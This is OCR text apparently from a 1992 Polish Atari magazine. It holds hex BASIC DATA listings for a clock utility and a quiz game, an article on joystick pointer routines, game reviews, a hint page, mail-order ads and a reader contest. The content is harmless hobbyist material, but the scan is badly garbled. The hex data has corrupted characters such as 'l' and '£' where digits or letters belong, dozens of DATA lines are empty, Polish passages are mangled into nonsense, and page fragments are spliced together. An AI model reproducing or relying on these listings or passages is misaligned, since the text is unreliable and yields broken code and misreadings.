BZ 1060 DATA 42d00e8a48984820cf93202494 
CT 1070 DATA 68a868aa4cffffad09d2c9ecd0 
KE 1080 DATA 53adll978d7896adl2978d7996 
XU 1090 DATA 20f193202a942001952024944c 
RH 1100 DATA e593a9408da997a56a38e9048d 
VP 1110 DATA aa97ad220248ac7896ad230248 
PV 1120 DATA ae7996a906205ce4688d799668 
MV 1130 DATA 8d7896a9caaec5028ela948dc5 
AM 1140 DATA 02a9ff8dfc0260a00d2085948e 
HX 1150 DATA 45948e4c948d44948d4b94a200 
KR 1160 DATA a00abd379748b9ffff9d379768 
YJ 1170 DATA 99ffffe88810eee06eb016ad44 
MV 1180 DATA 941869288d44948d4b9490daee 
BH 1190 DATA 4594ee4c94b0d26020e294e8e0 
DZ 1200 DATA 069002a2004ceb9420e294d003 
YL 1210 DATA ae7194ca4ceb9408ada997aeaa 
FI 1220 DATA 9728f006209b9488d0fal869la 
DY 1230 DATA 4c9e941869289001e86020f494 
DZ 1240 DATA 8dc3948dc8948ec4948ec99460 
HP 1250 DATA a20aa9d920c79420c294d0fba9 
OW 1260 DATA 59d005bdffff49809dffffca60 
GF 1270 DATA a9808db5948dbf9420b294a9d9 
TB 1280 DATA 8db594a9598dbf946020a29420 
ZF 1290 DATA b294a200608ee99420a2944ccc 
YM 1300 DATA 94ad2b941869036de994a84c85 
YM 1310 DATA 9420ed96a207bcl7978cl095dd 
SG 1320 DATA 2c97f0fecal0f230eb2079944c 
ZT 1330 DATA 2a94206c944c2a94202a94ce2b 
WH 1340 DATA 941005a2008e2b9460202a94ee 
XR 1350 DATA 2b94a20eec2b94b0038e2b9460 
HX 1360 DATA 202a94ce97941005a2008e9794 
GV 1370 DATA 60202a94ee9794a21dec9794b0 
HE 1380 DATA 038e979460aee994bdlf978d6a 
KP 1390 DATA 95d0fe6868202a944cfe9320f4 
JU 1400 DATA 9448a009ad500049ff8d5000f0 
JU 1410 DATA 02a0126820f5964c2a94a227a9 
10 1420 DATA 805dll009dll00cal0f5ad0101 

EO 1430 DATA 49808d01014c2a94200897a01b 
LS 1440 DATA 20f59620249420ed968dd3934c 
DW 1450 DATA 4196a034a902d004a021a9008c 
LA 1460 DATA ff978dd495200897a02d20f596 
TH 1470 DATA 20a396a000202494a20620ed96 
XA 1480 DATA 48bd25978de99568dd3097f0fe 
ES 1490 DATA cal0f030e6207a96186901ddcl 
RS 1500 DATA ff9011a900f00d207a96f00210 
XH 1510 DATA 03bdclff38e901991397d84cl9 


z Clock-iem, 

Można wpisać pod adres MEMLO-374 kod rozkazu 
JMP BELL, gdzie BELL Jest adresem procedury urucha¬ 
mianej cyklicznie zamiast alarmu (można tu umieścić 
np. adres procedury taktującej CMC). Procedura taka 
MUSI być zakończona rozkazem RTS. 

UWAGA: Wartość MEMLO bierzemy ze słowa $2e7 
bezpośrednio po wczytaniu Cloek-a. 


WN 1520 DATA 96a90049018dl39620a396f0b5 
IX? 1530 DATA 98d0f8a9ff8dl3978dl4972049 
BT 1540 DATA 96d01320499698f00da900a202 
UQ 1550 DATA 9de9ffcal0fa8dl200a02420fb 
AZ 1560 DATA 964c2a94b91397991600b91497 
LA 1570 DATA 99150060a206a00db9c5978d6c 
EU 1580 DATA 9688b9c5978d6b96bdd3978dff 
AL 1590 DATA ff88cal0e920910120cl964c56 
MX 1600 DATA 96ael396f001c8f8b9139760ad 
EU 1610 DATA 9d9649808d9d96b91397484a4a 
AU 1620 DATA 4a4a20999668290f1869109d01 
XR 1630 DATA 98e860a290adl396f002a2108e 
PP 1640 DATA 9d96a200acd495208d96e8c820 
JS 1650 DATA 8596a02d4cfb96a200a0ffad0f 
BZ 1660 DATA d22904d013ad2b02d018aed902 
SV 1670 DATA ac09d2ccf202d003aeda028e2b 
SF 1680 DATA 028cfc028cf20260ce2b0260ad 
NF 1690 DATA fc02c9fff0f9608d01978e0297 
TT 1700 DATA a209b9d9979dffff88cad0f660 
CO 1710 DATA ac2b94c84c8594ade7028d9d98 
FD 1720 DATA ade8028d9e98a208de059bcal0 
CU 1730 DATA faa9058da298a99b8da3982095 
CQ 1740 DATA 98e009f01220a79898d0f34c9d 
RI 1750 DATA 976868a2dla09a4c42c6ad9d98 
VS 1760 DATA 1869789003ee9e98cde702d0e7 
RW 1770 DATA ad9e98cde802d0dfa000be319b 
RH 1780 DATA 206a98c8c004d0f5a200a509c9 
UY 1790 DATA 01d002a20aadff049502adfe04 
JI 1800 DATA 9503adb3048d0802adb2048d09 
HL 1810 DATA 02ade80238e9058de802a2b5a0 
KH 1820 DATA 9a68684c42c6a9158d9998ade7 
SK 1830 DATA 028d9d98ade8028d9e98a214de 
VL 1840 DATA f09acal0faa9f08da298a99a8d 
OP 1850 DATA a398209598e015f00f20a79898 
HX 1860 DATA d0f3a297a09a68684c42c6a000 
HC 1870 DATA be359b205098c8c00dd0f5ad9d 
KR 1880 DATA 9838ede5998de599b003eee699 
KR 1890 DATA 38ad9e98ede6998de699a200a9 
RJ 1900 DATA 0b8d4203a9108d4403a99b8d45 
CT 1910 DATA 03a9218d4803a9008d49032056 
IG 1920 DATA e42002f3297f8d0e9bc94ef05e 
RC 1930 DATA C959f008c96ef056c979d0e8a2 
DB 1940 DATA 00a90b8d4203a90e8d4403a99b 
BA 1950 DATA 8d4503a9028d4803a9008d4903 
DC 1960 DATA 4c56e4ad9d9838fd7a959d7a95 
KH 1970 DATA b003fe7b9538ad9e98fd7b959d 
TT 1980 DATA 7b9560ade70238fd76979d7697 
RŚ 1990 DATA b003fe779738ade802fd77979d 
QU 2000 DATA 77976020329868687820139820 
WM 2010 DATA e2932024945860a2ffe8e009f0 
HV 2020 DATA e7bdffff297fddfffff0f160a0 
YB 2030 DATA ffce9d98ad9d9849ffd003ce9e 
SJ 2040 DATA 98c9ffd0c9ad9e98c907d0c2c8 
FK 2050 DATA 60ae2999ac2a99a5092902d00c 
GO 2060 DATA a50c860caaa50d840d4ce498a5 
AG 2070 DATA 028602aaa50384038e81938d82 






WX 2080 DATA 
GR 2090 DATA 
JW 2100 DATA 
BX 2110 DATA 
AK 2120 DATA 
JY 2130 DATA 
SY 2140 DATA 
AV 2150 DATA 
VI 2160 DATA 
YS 2170 DATA 
QT 2180 DATA 
SM 2190 DATA 
BU 2200 DATA 
HM 2210 DATA 
KB 22 20 DATA 
MS 22 30 DATA 
WT 2240 DATA 
BT 2250 DATA 
XK 2260 DATA 
RE 2270 DATA 
RN 2280 DATA 
IQ 2290 DATA 
FO 2 300 DATA 
TG 2310 DATA 
AG 2320 DATA 
YK 2330 DATA 
QL 2340 DATA 
BE 2350 DATA 
CO 2 360 DATA 
IG 2370 DATA 
MV 2380 DATA 
HM 2 390 DATA 
WL 2400 DATA 
HV 2410 DATA 
BJ 2420 DATA 
HY 2430 DATA 
RS 2440 DATA 
GZ 2450 DATA 
XV 2460 DATA 
SN 2470 DATA 
HE 2480 DATA 
ŻP 2490 DATA 
ŁP 2500 DATA 
FV 2510 DATA 
JS 2520 DATA 
ZV 2530 DATA 
ZJ 2540 DATA 
ID 2550 DATA 
WW 2560 DATA 
FJ 2 570 DATA 
OH 2580 DATA 
MF 2590 DATA 
FE 2 (>00 DATA 
YM 2610 DATA 
PK 2620 DATA 
JM 2630 DATA 
PG 2640 DATA 
EJ 2650 DATA 
VZ 2660 DATA 
IK 2670 DATA 
SR 2680 DATA 
DS 2690 DATA 
LB 2700 DATA 
TF 2710 DATA 


Na koniec... 

Po zainstalowaniu Clock zabiera nieco ponad dwie 



Te procedurkl powstały z zazdrości. Jaką odczuwałem, oglą¬ 
dając MS Windows działające na IBM'le. Skoro tam można ste¬ 
rować programem wybierając myszką opcje z menu, to dlaczego 
na naszym komputerku nie moZna by było robić tego samego? 
Co prawda nie ma myszki, ale za to Jest Joystick. Związanie go 
z poruszającą się po ekranie strzałką było Już drobnostką. 

Strzałka Jest zrealizowana w technice P/MG. Zazwyczaj pocią¬ 
ga to za sobą przeznaczenie 2 K pamięci na dane, ale szczęśli¬ 
wie potrzebny był tylko Jeden duszek tak, że dało się wykorzy¬ 
stać do tego 6 stronę. Przy ustawieniu adresu pamięci dusz¬ 
ków na S0000, na stronę 6 wypada duszek nr 2. Pozostałe du¬ 
szki są ustawiane poza ekranem tak, że Ich nie widać - wyglą¬ 
dałyby nieciekawie, gdyż Ich dane są pobierane z pamięci zaję¬ 
tej przez zmienne OS'u 1 program BASICa. 

Wszystkie radosne efekty są dostępne dzięki pięciu reloko- 
walnym procedurom maszynowym, zapisanym w zmiennych 
łańcuchowych BASICa. Są one wywoływane poprzez 
X=USR(ADR(S...Sł). 

Pierwszą z nich Jest S1N1TS, która spełnia funkcje przygoto¬ 
wawcze - zeruje 6 stronę. Inicjuje grafikę P/M, ustawia pozycję 
początkową strzałki w lewym górnym rogu ekranu. Jej wywoła¬ 
nie Jest konieczne również każdorazowo po Instrukcji GRAP¬ 
HICS. gdyż niszczy ona rejestry P/MG powodując pojawienie się 
śmieci na ekranie. Następną procedurą Jest SMOVES. Wyświet¬ 
la ona na ekranie kursor w postaci strzałki 1 przesuwa go zgod¬ 
nie z ruchami pierwszego Joysticka. Wraca do BASICa po na¬ 
ciśnięciu guzika na Joysticku, a strzałka zatrzymuje się. Chcąc 
teraz odczytać jej położenie, najwygodniej będzie się posłużyć 
procedurami SPOSX$ 1 SPOSYS. Zwracają one Jako rezultat 
funkcji USR(...) odpowiednio pozycję poziomą 1 pionową strzał¬ 
ki, przeliczoną odpowiednio dla aktualnego trybu graficznego. 
Współrzędne są podawane tak. Jak w Instrukcji POSITION, czy¬ 
li od zera. 

Po obsłużeniu tego, co nam przekazał użytkownik naciskając 
guzik, wywołujemy znowu SMOVES 1 wszystko powtarza się od 
początku. Gdyby kogoś denerwowało, że strzałka pozostaje nie¬ 
ruchomo na ekranie pomiędzy dwoma wywołaniami SMOVES, 
niech po wywołaniu SMOVES umieści Instrukcję POKE 
54250,0. Spowoduje to zniknięcie strzałki do momentu ponow¬ 
nego wywołania SMOVES. a SPOSXS oraz SPOSYS będą dzia¬ 
łać normalnie. 
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strony pamięci, a Clock Menu równe pięć stron. Jeśli ko¬ 
muś wydaje się to dużo, niech pomyśli o pozostałych 
dwustu czterdziestu dziewięciu. 



Na zakończenie programu należy wywołać SENDS, która wy¬ 
łączy PM/G 1 zmaże strzałkę z ekranu. 
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CB 
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SPEED ACE 

Nie musisz wychodzić z domu. aby 
przeżyć najbardziej fascynujący na 
śwlecle wyścig motocyklowy. Ścigasz 
się z dziewiętnastoma najlepszymi 
zawodowcami. Jadącymi na naj¬ 
wspanialszych maszynach. Za po¬ 
mocą Joysticka sterujesz całym mo¬ 
tocyklem. Możesz również ścigać się 
z żywym zawodnikiem, siedzącym 
obok Ciebie. Ekran będzie wtedy po¬ 
dzielony na dwie części, na których 
każdy z Was będzie widział swój 
fragment toru. Na stronie tytułowej 
możesz wybrać liczbę okrążeń (od 
1 do 9) oraz tor (Jest Ich 9). na któ¬ 
rym odbędzie się wyścig. 

Przygotuj motocykl, poczekaj na 
sygnał startowy 1... gaz do dechy. 


Ta gra Jest zbyt dobra aby nazwać 
Ją bardzo dobrą. Koncentracja, re¬ 
fleks 1 opanowanie to cechy, które po¬ 
zwolą Cl Ją ukończyć. Świetna grafika, 
znakomita muzyka 1 efekty dźwiękowe 
oraz wciągająca akcja powodują, że 
chcesz spróbować Jeszcze raz. 



CAYERNIA 


Wcielając się w postać Teddy’ego 
Arklethorpe. przywódcę wielu nie¬ 
bezpiecznych ekspedycji do wnętrza 
Ziemi, podejmij magiczną podróż 
poprzez kompleks podziemnych tu¬ 
neli 1 Jaskiń. Ekspedycja nic osiągnie 
sukcesu zanim Terry nie dotrze do 
końca szesnastego poziomu, zbiera¬ 
jąc wszystkie skarby po drodze. 
Przeprowadź go cało do celu unika¬ 
jąc mutantów, spadających stalakty¬ 
tów, zawadzających stalagmitów 
oraz pól elektrycznych. 


lub w odpowiednim szyku (co naj¬ 
mniej trzy), wtedy następuje Ich ska¬ 
sowanie. Po zdobyciu odpowiedniej 
dla każdego poziomu liczby punktów 
przechodzi się na następny poziom. 
Można by pomyśleć, że zaczynasz od 
nowa. lecz teraz na dnie znajdują się 
utrudniające grę elementy. 

MIRAX FORCE 

Mirax Force to elitarna eskadra 
szybko reagujących myśliwców pilo¬ 
towanych przez nieustraszonych wo¬ 
jowników. 

Twoją planetę zaatakował Nie¬ 
przyjaciel. Ludzkość podjęta despe¬ 
racką próbę obrony. Główne siły 
Sprzymierzonych uderzyły na prze¬ 
ciwnika, natomiast Twoim zadaniem 
Jest niezauważalne przedostanie się 
w kierunku wrogich statków-baz 
i zniszczenie ich. Niestety, Nieprzyja¬ 
ciel zostawił na nich eskadry obron¬ 
ne, które utrudnią Ci wykonanie mi¬ 
sji. Jest Jeszcze Jedna przeszkoda: 
aby Twoje pociski docierały do gen¬ 
eratora statku-bazy, musisz uszko¬ 
dzić Jego pole ochronne. 

Mirax Force jest świetną grą zręcz¬ 
nościową w pełni wykorzystującą 
możliwości graficzne i muzyczne ma¬ 
łego Atari. 


BLINKTS SCARY SCHOOL 


ZYBEX 


Zybex to Twoja własna (lub z part¬ 
nerem) bitwa, prowadząca poprzez 
planety systemu Czokan do celu 
Twojej podróży - Zybexa. Ogromna 
różnorodność dziwnych, niezwy¬ 
kłych 1 cudownych broni pozwoli Cl 
wypełnić zadanie. Umożliwiają one 
znalezienie setek wariantów usunię¬ 
cia Twoich wrogów. Buntownikiem, 
w którego się wcielasz. Jest Rlnser (i 
Cassalana, Jeżeli gracie we dwóch). 
Podjąłeś się tej ryzykownej misji, 
aby uwolnić się od koszmaru. Jakim 
Jest Death Row. Musisz przedrzeć 
się przez wiele dziwnych 1 ciekawych 
światów 1 zdobyć tokeny. Pozwalają 
one na dostanie się do następnych 
planet. Gdy dotrzesz do końcowych 
poziomów i podołasz ostatecznemu 
wyzwaniu, zdobędziesz kryształ Zy- 
bexa. Potężna moc tego kryształu 
pozwoli Cl na usunięcie śmlerclo- 
- nośnych obręczy z Twojej szyi. 

Wymienione wyżej 


Dziedzic na zamku Drumtrochie, 
Hamish McTavlsh, bardzo lubił opo¬ 
wiadać historię swego przodka. Po¬ 
gromca duchów Czerwony Baron 
McTavlsh, dokładnie wiek temu 
oczyścił zamek ze wszystkich du¬ 
chów. Po stu latach Główmy Upiór 
zarządził, że taki stan nie może dłu¬ 
żej trwać. Zadanie ponownego za¬ 
władnięcia zamkiem powierzono ab¬ 
solwentowi Szkoły Duchów Blink/e- 
mu. Musi mu się udać, gdyż niepo¬ 
wodzenie skończy się powrotem do 
szkoły na następne sto łat. 

Zadaniem gracza Jest pomóc mu 
w tym trudnym zadaniu. Pamiętaj że 
Blinky ma tylko Jedną noc. 

STACK UP 

Jest to świetna gra loglczno-zręcz- 
nośclowa, ćwicząca refleks 1 szybkie 
myślenie. Niewątpliwie spodoba się 
miłośnikom Tetrlsa i Trlxa. Spadają¬ 
ce do studni elementy (po trzy obok 
siebie: Ich układ można zmieniać 
strzałem) należy tak nakierować, aby 
Jednakowe znalazły się w jednej linii 


NINJA COMMANDO 

Wcielasz się w mistrza sztuk walki: 
świetnie wyszkolonego przedstawicie¬ 
la gangu zabójców. Twoim zadaniem 
Jest przedostać się do końca ostatnie¬ 
go, ósmego poziomu, biegnąc 1 ska¬ 
cząc poprzez platformy, pomosty 1 In¬ 
ne znajdujące się tam budowle. Po 
drodze musisz walczyć z wrogami 
utrudniającymi misję. Na początku 
masz do dyspozycji tylko własne ręce 
(a właściwie nogi, gdyż zabijasz prze¬ 
ciwników skacząc na nich), w trakcie 
gry otrzymujesz dodatkowo granaty, 
kule ogniste 1 karabin maszynowy. 
Stajesz się wtedy nie do pokonania! 

Maciek 


programy zostały wydane przez L.K.AVALON na licencji ZEPPELIN GAMES. 
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RUCU 

Gra logiczna. Na planszy rozmie¬ 
szczono są w kwadratach różnorod¬ 
ne elementy. Gracz manewruje nimi 
przy pomocy Joysticka w ten sposób 
by jednakowe elementy znalazły się 
w oddzielnych kwadratach. Gra 
składa stę z kilku poziomów, zróżni¬ 
cowanych pod wzglądom stopnia 
trudności. Dóbr t zabawa dla łanów 
kostki Rubik i i podobnych 
łamigłówek. 



CONSTELLATION 

Gra ekonomiczna. Gracz wciela 
się w rolę studenta Mięeizygalaktye-z- 
nej Wyższej Szkoły Handlowej, który 
ma przed se>bą końcowy egzamin. 
Aby go zdae. musi dokonać szeregu 
transakcji z kosmicznymi partnera¬ 
mi. Spróbuj szczęścia - może odkry¬ 
jesz w sobie przyszłego menedżera... 


MAJOR BRONX 

Gra zręcznościowa logiczna. Taj¬ 
ny agent przedostaje się do giganty¬ 
cznej bazy Nieprzyjaciela. Gdzieś 
w labiryncie korytarzy zostały ukryte 
strategiczne plany. Rozkaz brzmi 
"odnaleźć Je lub zginać". Wyzwanie 
dla cierpliwych i wytrwałych. 

UPIÓR 

Gra komnatowa. Jej akcja rozgry 
wa się w twierdzy opanowanej przez 
zle moce. Zadaniem gracza Jest wal 
ka z potworami krążącymi po kory 
tarzach mrocznego zamczyska. Na 
wyróżnienie zasługuje ładna gralika. 
Gra dla miłośników wędrówek i po¬ 
jedynków. 

235U 

Gra zręcznościowe)- logiczna, prze¬ 
znaczona dla miłośników "rozkoszy 
łamania głowy". Zadanie polega tu 
na przesuwaniu i łączeniu przedsta¬ 
wionych na planszach elementów. 
Doskonały trening cierpliwości I lo¬ 
gicznego myślenia 

LORIEN’S TOMB 

Gra logiczna. Zgromadzone w gro¬ 
bowcu Faraona tajemnicze przed¬ 
mioty uniemożliwiają archeologom 
przejście do kolejnych komór. Zada¬ 
niem gracza Jest takie manewrowa¬ 
nie owymi przedmiotami, by dzięki 
odpowiedniemu ustawieniu dopro¬ 
wadzić do Ich zniknięcia. 


PIEKIEŁKO 

Gra zręcznościowa. Iście szatański 
pomysł, jakiego jeszcze nie było. Za¬ 
danie gracza polega na przejściu kli¬ 
ku prawdziwie; piekielnych komnat. 
Jeżeli kogoś zaskoczy ogromna licz¬ 
ba "żyć". of( rowana na początku gry. 
to bardzo szybko przekona się, że 
nie był to błąd ze strony autora. 
UWAGA! Tę grę naprawdę można 
uketne zvć 



DIGI DUCK 

Gra zręeznośeiowo-logiezna. Na 
wyróżnienie zasługuje; pomysł, wyke>- 
nanie I ładna muzyczka. Tym razem 
grae-z. we-ie;la się w... ie-lewlzeir. Duże) 
chodzenia pe> labiryncie’, walki z mie- 
szkajaeymi w nim peńwemkami, 
a w ee-Iu dostarczenia grae'ze>wl ele>- 
slaleeznej petreji mzrywki nawią¬ 
zywanie- zadań. Duże) elobre-j (i mą- 
elrcj) zabawy ełla ws/ystkie h 

Basia 



TYLKO DO KOŃCA GRUDNIA 
SPECJALNA PREMIA DLA KAŻDEGO 
ZAMAWIAJĄCEGO WYSYŁKOWO 
PROGRAMY W L.K.AVALON 
Jeżeli zamówisz co najmniej pięć 
dowolnych kaset lub dyskietek, 
otrzymasz za darmo programy: 
KEYBOARD MASTER i TURBO COPY 


1 1 



UCZEŃ CZARNOKSIĘŻNIKA 

"Ue-ze n Czarnoksiężnika" te> gra kemmatowa. Grafika nie |e-st lu 
sze-ze gednic wyszukana, jednak za równe) [wstać lylułowego ucznia 
jak i wystmj wnętrza zamku pre zentują się zupełnie nieźle. Jedy¬ 
ne’, e-e) wywieli* exlre>blnę nle-kejrzystne* wrażenie, te) sjyisób anima¬ 
cji bohatera. Porusza się on pe> zamku z zawrotną prędkośrtej. Być 
może ;iule)r chciał w ten sposób [X)elkreślić. że Winek barelzo pra- 
gnie zosi.te - t /arnetkstężnlklcm i to w jak najkrótszym e /.asic. Nie 
jest io jcelnak einżym utruelnienlein i grae-z łatwo przy/wye-złtja się 


Liczy się data stempla pocztowego! 

KEYBOARD MASTER: ele> stuelnl wpaelaja wy¬ 
razy. ktelre- kasuje się. wpisując je- z. klawiatury. 
Śwle-tne ćwiczenie peunagajae-e’ uzyskae- bie’gle>se- 
w |)Isaniu. 

TURBO COPY: pre)gram keipletjaey. Pe>zw;il;i 
zapisać e-alą k;ise-tę, phiuujac mzkłael wie-lu pre>- 
grameiw n.a e)bn je-| stronach na raz. Wyke>rzy- 
sluje 1 optymalnie pamięć kenupnleTa w z.ale’żne>- 
se i e>el je-ge> typu (130 XE. 260 XE. itel.). 


eh) faktu, ze ste ruje trexhę ne‘rvve)wyin t>st>bnlkient. Sam ludzik 
je-st In(e’nsu|ąee> narysowany i buelz.I syntp;ilię. zwłas/.eza zabawny 
< |osl ge-si zele’jnie)w;i)ii;i rza|X'ezkl w momentach schylania się 
I przykneania. Uneiszaef się w ke)ryt;irz;)eh stmszyella są trex hę 
niiilei straszne jednak ln-zpośre-elni koniaki z nimi kenie zy się ell a 
* Winkii elose przykre), ellate-ge) nie n;ile’ży starać się z nimi zaprzy- 
v jaźnie. ani pre>lx>wać erswajać. 

| Gra nie- n lle-ży eh) sze ze-gólnie skennplikewanyeh. je-elmik mo- 
■ że- się spe>elobać 1 ele)st;trez.yć elobrcj zabawy', zwlasz za mlłosut- 
- keun węeire)we’k 1 lajcmnie-zye-h zamketw. 


\ 
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nie zdoial wziąć ich 
naukę, musi zebrać G 
oznuch niezbyt mifiicfi 


Co gorsza nasz mag znikając. pozbawił tffrteibezcenna ‘Ąsięgę Czar 
tęcz porozrzucat je po (gnjtarzacti Zamku. Czarnoksiężników. Winek 
lżących adzies w 


'& na domiar 


V ' 


' r 


^ 

-1 ttodociany adept czarnej magii Winek pewnego l - l!l stwicrdzit zniknięcie swego mistrza. Czyzby zgryztiwy starzec 
przestraszyt się zbyt szybkich postępów podopiecznego ? °{ie wiadomo. czarownicy miewaja niekiedy dosc dziwne 

Okaz ' 


żnych 

stworzonek 9{iezbędm jest mu także rożttzkg. oraz czapką czarnoksiężnika. Jesti me zdobędzie tych przedmiotów, nie 
zdota uzyskać magicznci mocy Czuuda mu się poddać zadaniu? ‘Basia 
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Idzieś na odległym pustkowiu... No tak, to już było. O grze "Gold Hunter" 
pisaliśmy w TA dwukrotnie. Dziś mapa i kilka wskazówek jak odnaleźć 
studnię ze złotem. Proponuję jednak nie czytać poniższego tekstu, ale 
spróbować własnych sił. Na początku wyprawy po skarb musisz znaleźć ‘ 
worek, do którego należy zebrać wszystkie przedmioty porozrzucane w 
komnatach labiryntu. Aby go wziąć, musisz mieć brakujący fragment drabiny. 
Bezpieczne przejście przez ciemne komnaty zagwarantuje Ci lampa 
























































Ze skrzyń, stojących w niektórych pomie¬ 
szczeniach, uzyskuje się prędkość i nieśmier¬ 
telność (dzięki kluczom). Wykorzystać je można w 
dowolnym momencie gry (działają tylko przez 30 
sekund). To tylko część zagadek, resztę 
pozostawiam do rozwiązania graczowi. Dzięki 
mapie nie będzie to trudne. Włącz komputer i... 
odkryj w sobie żyłkę poszukiwacza skarbów. 

Życzę szczęścia! 

MACIEK 
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Przedstawiony tu program stanowi odmianę gry znanej jako "Mateh- 
Ilox", przeznaezona tym razem dla poji-dynezego gracza. Dla otrzymania 
samodzielnego programu binarnego należy przetworzyć ten listing przy 
pomocy Zgrywusa+ opisanego w TA 2/92. Celem gry jest odsłonięcie 
wszystkich ułożonych na ekranie klocków, zawierając ych elementy z róż¬ 
nych gier. Początkowej wszystkie kloek! wygladaja Jednakowo, ponieważ 
leżą wizerunkami "do spodu". Odsłania stę Je param! poprzez wskazanie 
dowolnych elwóeh Joystickiem 1 naciśnięcie, strzału. Jeżeli obrazki sa 
Jednakowe, pozostają odsłonięle. w przeciwnym razie znów- się cliow ija. 
W dole ekranu widnieje statystyka gry: tytuły hitów AVAbON-u. z któ¬ 
rych pochodzą obrazki wraz z lniormae ja o llcjzbic Już znale zionych. Po 
odsłonięciu wszystkich grae-z awansuje do następnego poziomu. Grę 
wieńczy ukazanie się hasła, które należy przep s ie do znajdującego stę 
obok kuponu 1 przysłać do redakcji TA z doplsklc-m "AQQ". 

Wśród czytelników, którzy do końca roku 1992 nade- 
ślą prawidłowe odpowiedzi na oryginalnych kuponach, 
rozlosujemy 

• Drukarkę mozaikową D-100 

• 5 joysticków 

• 10 nagród pocieszenia 



IJ 1000 REM *-* 

IU 1002 REM : AVALON Quiz 

VB 1004 REM : autor: Dariusz Zolna 

YY 1006 REM : (c) 1992 Tajemnice ATARI 

JP 1008 REM *-* 

LI 1010 DATA ffff00a6fdaca900a89980bl99 
ŻF 1020 DATA 80b29900b39900b0c8d0fIa9b0 
ZX 1030 DATA 8d07d4a9028dldd0a9018d6 f02 
HO 1040 DATA a9008d08d08d09d0a90e8dc002 
XQ 1050 DATA 8dcl02a9298d2f02a9028dc402 
HE 1060 DATA a9048dc502a90a8dc602a9068d 
JY 1070 DATA C702a9008dc802a9278d3002a9 
Ol 1080 DATA ad8d3102a9858d0002a9ac8d01 
EY 1090 DATA 02a9c08d0ed4a907a027a2ac20 
QZ 1100 DATA 5ce4a207a018a9099900b0a908 
PI 1110 DATA 9907b098186 920a8cal0eea005 
HV 1120 DATA b922af9939b0b928af99b9b0a9 
LV 1130 DATA 069919b0a90799f9b08810e7a9 
HQ 1140 DATA 008d07ad8d08ada9008d09ada0 
RU 1150 DATA Ifb9a9ae9969ad8810f7a9008d 
UM 1160 DATA 02ad8dffac8d00ad8d00d08d01 
PT 1170 DATA d0a003b9dab0098099dab0b95a 
EU 1180 DATA b009 809 9 5ab08 810edad0ad2 8d 
BR 1190 DATA 19d0adfc02c9Icd0034c74e4ad 
HL 1200 DATA 8402f00eadlfd0c906f007ad0f 
KT 1210 DATA d22908d0dda900854da0daad08 
BB 1220 DATA ad2014acad07ad2014aca05aae 
QP 1230 DATA 09adbdlead8d06ad2014acbdld 
QI 1240 DATA ad8d05ad2014aca9108d0aad20 
FK 1250 DATA 9faba9c085b0a9ad85bla205a0 
PC 1260 DATA 07a90e91b08810fba0b0a92020 
CŻ 1270 DATA eeaccal0eda514186996c514d0 
DC 1280 DATA Eca90085b0a9b085bla92e85b2 
KY 1290 DATA a9af85b3a207a0169848blb08d 
RK 1300 DATA feaca90291b0c8a90391b08898 
EH 1310 DATA 4aa8adfeac91b268a8888810el 
LQ 1320 DATA a0b0a92020eeaca0b2a90c20ee 
TV 1330 DATA accal0cea514c514f0fca9008d 
CC 1340 DATA 00d28d01d2adfC02c9lcd0034c 
QN 1350 DATA 74e4adf102d033ad7802c90ff0 
CH 1360 DATA 2cc90ed002a00ec90dd002a00f 
AE 1370 DATA c90bd002a006c907d002a0078q 
ON 1380 DATA Ec02acd902cd0badd003acda02 
RO 1390 DATA 8cE1028d0badadfC02c936d003 
LR 1400 DATA 4ca2a6ad£c02293Ec907d00dad 
AS 1410 DATA £facc90bb006eeffac208dabad 
PH 1420 DATA Ec02293fc906d00badffac£006 
SI 1430 DATA ce££ac208dabad£c02293£c90£ 
CI 1440 DATA d00dad00adc907b006ee00ad20 
NF 1450 DATA 8dabadEc02293£c90ed00bad00 
SB 1460 DATA adf006ce00ad208daba900ac01 
AG 1470 DATA ada207990cb2c8cal0f9ad00ad 
ZY 1480 DATA 0a0a0aa88c01ada9ff990cb299 
LB 1490 DATA 13b2a981a205990db2c8caii0£9 
AT 1500 DATA ac02adad££ac0a0a0al86940aa 
CH 1510 DATA a5142910d004a200a0008e00d0 
XB 1520 DATA 8c01d0ad8402£00aad0fd22908 
PF 1530 DATA £0034c60a92038ab90034c60a9 
TC 1540 DATA a9328d00d2a007a514c514£0£c 
AR 1550 DATA 9809e08d01d28810£lad02ad£0 
KC 1560 DATA 5£a9008d00d08d01d0a5141869 
GL 1570 DATA 19c514d0£cad04adcd£eacd006 
DD 1580 DATA 20bcaa4clda9201dabad0aadc9 


NY 1590 DATA 02900b£8ad0aad38e9018d0aad 
KU 1600 DATA d8a9c88d00d2a00£a514c514£0 
GI 1610 DATA Eca2f£982901£002a20086b698 
IB 1620 DATA 25b609e08d01d28810e4a9008d 
WM 1630 DATA 02ad4c60a9ad£eac8d04adad££ 
KK 1640 DATA ac0a0a0al869408d02ad8d01d0 
IR 1650 DATA a900a07£9980b28810£aac01ad 
SI 1660 DATA a9££998cb29993b2a981a20599 
ED 1670 DATA 8db2c8cal0£92072ab8c03ada9 
KF 1680 DATA ££8d£c02a514290fd022ad09ad 
HF 1690 DATA £01d£8ad05ad38e9018d05adad 
UO 1700 DATA 06ade9008d06add8a9968d00d2 
LK 1710 DATA a9e28d01d2a05aad06ad2014ac 
ND 1720 DATA ad05ad2014aca0daad08ad2014 
JX 1730 DATA acad07ad2014aca9c085b0a9ad 
50 1740 DATA 85bla205a007blb0c954d01088 

UY 1750 DATA 10£7a0b0a92020eeaccal0eb4c 
XF 1760 DATA 0£aaad05ad0d06ad£0034c9ea7 
AZ 1770 DATA a01£b9c9ae9969ad8810f7a9e6 
RJ 1780 DATA 8d01d2a21ea51418690ac514d0 
RĘ 1790 DATA Ec8a29010a0a0a0al869c88d00 
GR 1800 DATA d220aeaacal0e4a9008d00d28d 
EY 1810 DATA 01d24ca2a6£8ad07adl86d05ad 
CU 1820 DATA 8d07adad08ad6d06ad8d08add8 
MN 1830 DATA ad09adl869028d09adad09adc9 
GE 1840 DATA 0ab0034c03a7a0099829038d0c 
AE 1850 DATA adad0ad2290£19d0ad291ff0ee 
YN 1860 DATA 0920186d0cadc93bb0e4692099 
IU 1870 DATA Eeae8810dca210a90c9d420320 
ŁD 1880 DATA 56e4a9039d4203a91£9d4403a9 
IU 1890 DATA a£9d4503a90c9d4a03a9009d4b 
JI 1900 DATA 032056e4a90b9d4203a9e99d44 
ÓJ 1910 DATA 03a9ae9d4503a9 369d4803a900 
GO 1920 DATA 9d49032056e4a9££8d£c02ad£c 
ML 1930 DATA 02c90cd0£94c00a6a01£b969ad 
AT 1940 DATA 49809969ad8810£560a9648d00 
